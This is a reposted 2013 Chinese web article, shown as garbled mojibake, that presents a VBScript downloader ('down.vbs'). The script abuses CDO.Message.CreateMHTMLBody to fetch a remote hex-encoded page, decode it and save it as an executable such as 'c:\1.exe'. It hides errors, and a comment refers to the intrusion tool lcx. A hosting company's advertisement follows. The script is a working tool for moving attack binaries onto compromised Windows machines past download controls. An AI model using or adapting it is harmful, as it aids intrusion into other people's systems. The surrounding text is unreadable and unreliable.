×îаæÀûÓÃCDO.Message×öµÄvbsÏÂÔØÕß
×÷Õß ØýÃû
À´Ô´ ASP±à³Ì
ä¯ÀÀ
·¢²¼Ê±¼ä 2013-07-09
=====================ÔÙÓÃÏÂÃæÕâ¸övbs½Å±¾À´ÏÂÔØ,°ÑhtaÉú³ÉµÄhtm·Åµ½¿Õ¼äÉÏ£¬ÓÃNPдµÄÄǸöÏÂÔØÉú³ÉµÄhtmÒ²¿ÉÒÔ£¬´úÂë¸üÉÙ£½£½£½£½£½£½£½£½£½ ¸´ÖÆ´úÂë ´úÂëÈçÏÂ: ''//±£´æÎļþ function saveFile(filename,str) set adodbStream = CreateObject("ADODB" & "." & "Stream") adodbStream.Type= 1 adodbStream.Open adodbStream.write str adodbStream.SaveToFile filename,2 adodbStream.Close end function ''//VBÊý×éת±ä³É¶þ½øÖƸñʽ Function MultiByteToBinary(MultiByte) Dim RS, LMultiByte, Binary Const adLongVarBinary = 205 Set RS = CreateObject("ADODB.Recordset") LMultiByte = LenB(MultiByte) If LMultiByte>0 Then RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte RS.Open RS.AddNew RS("mBinary").AppendChunk MultiByte & ChrB(0) RS.Update Binary = RS("mBinary").GetChunk(LMultiByte) End If MultiByteToBinary = Binary End Function function exec() ''//ÆÁ±Î´íÎó on error resume Next Set args = WScript.Arguments if args.Count = 0 then WScript.Echo "Usage: CScript down.vbs url c:\1.exe" WScript.Quit 1 end If dim data,t,kk,filename,ss Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody args.Item(0) ,31 ''Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31 ss= Mail1.HTMLBody Set Mail1=nothing ''//µÃµ½Êý¾Ý data = ss ''//µÃµ½ÎļþÃû filename = args.Item(1) ''//µÃµ½Êý¾Ý³¤¶È u = len(data) ''//»ñµÃÎļþÊý×é for i=1 to u step 2 t = mid(data,i,2) kk = kk & ChrB(clng("&H" & t)) next ''//ת±ä³É¶þ½øÖƸñʽ dataArry = MultiByteToBinary(kk) ''//±£´æÎļþ saveFile filename,dataArry end function exec() |
ÁèÖڿƼ¼×¨ÒµÌṩ·þÎñÆ÷×âÓᢷþÎñÆ÷Íйܡ¢ÆóÒµÓʾ֡¢ÐéÄâÖ÷»úµÈ·þÎñ£¬¹«Ë¾ÍøÕ¾£ºhttp://www.lingzhong.cn ΪÁ˸ø¹ã´ó¿Í»§Á˽â¸ü¶àµÄ¼¼ÊõÐÅÏ¢£¬±¾¼¼ÊõÎÄÕÂÊÕ¼¯À´Ô´ÓÚÍøÂç,ÁèÖڿƼ¼×ðÖØÎÄÕÂ×÷ÕߵİæȨ£¬Èç¹ûÓÐÉæ¼°ÄãµÄ°æȨÓбØҪɾ³ýÄãµÄÎÄÕ£¬ÇëºÍÎÒÃÇÁªÏµ¡£ÒÔÉÏÐÅÏ¢ÓëÎÄÕÂÕýÎÄÊDz»¿É·Ö¸îµÄÒ»²¿·Ö,Èç¹ûÄúҪתÔر¾ÎÄÕÂ,Çë±£ÁôÒÔÉÏÐÅÏ¢£¬Ð»Ð»! |